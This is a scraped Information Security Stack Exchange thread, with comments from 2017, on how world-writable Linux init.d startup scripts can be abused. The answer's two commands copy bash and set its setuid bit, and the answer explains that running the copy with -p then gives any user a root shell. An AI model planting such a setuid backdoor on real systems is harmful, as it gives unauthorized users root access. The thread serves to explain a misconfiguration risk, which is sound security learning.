What are startup scripts in Linux and what are the steps to exploit startup scripts if they are world writable?
I would appreciate if one can explain based on the following two files as example in Ubuntu 16:
/etc/init.d/README
/etc/init.d/sudo
Information Security Stack Exchange is a question and answer site for information security professionals. It only takes a minute to sign up.
Sign up to join this communityWhat are startup scripts in Linux and what are the steps to exploit startup scripts if they are world writable?
I would appreciate if one can explain based on the following two files as example in Ubuntu 16:
/etc/init.d/README
/etc/init.d/sudo
Arrange, to run as root:
cp $(which bash) $(which bash).muhaha
chmod u+s $(which bash).muhaha
Now, executing $(which bash).muhaha -p
gives root to any user. You can even run a script as root with $(which bash).muhaha -p /path/to/script
.
The -p
option is necessary because otherwise bash
detects that it is setuid
and drops root privileges as a security measure.
$(...)
runs a command and replaces the command output into the script. So $(which bash)
stands for the output of the command which bash
, which prints the path of bash
.
Feb 14, 2017 at 4:15
bash
is located at /bin/bash
.
Feb 14, 2017 at 4:30
chmod u+s
sets the suid
bit en.wikipedia.org/wiki/Setuid.
Feb 14, 2017 at 6:33